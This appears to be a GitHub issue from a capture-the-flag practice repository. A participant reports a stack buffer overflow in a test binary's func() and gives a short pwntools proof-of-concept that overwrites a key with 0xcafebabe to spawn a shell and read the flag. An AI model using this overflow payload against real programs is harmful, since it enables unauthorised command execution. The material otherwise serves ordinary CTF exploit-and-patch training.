blbi / GITCTF_Test

0 stars 0 forks source link

[DotHat]First attack #2

Open Noma-Libra opened 5 years ago

Noma-Libra commented 5 years ago

The func() function gets the string without size checking. So I can put a string with a size of 32 or greater.

By doing that I can overwrite the memory space of key I fill the memory space before the memory address that key is stored with dummy value "A" and overwrite the key value with 0xcafebabe Then the program execute /bin/sh and I can execute any command

I attach the poc file

p = process("./vuln")

payload = "A"*52 + "\xbe\xba\xfe\xca" p.sendline( payload ) p.sendline('ls') print(p.recv()) p.sendline('cat flag') print(p.recv()) p.close()

blbi commented 5 years ago

Patch report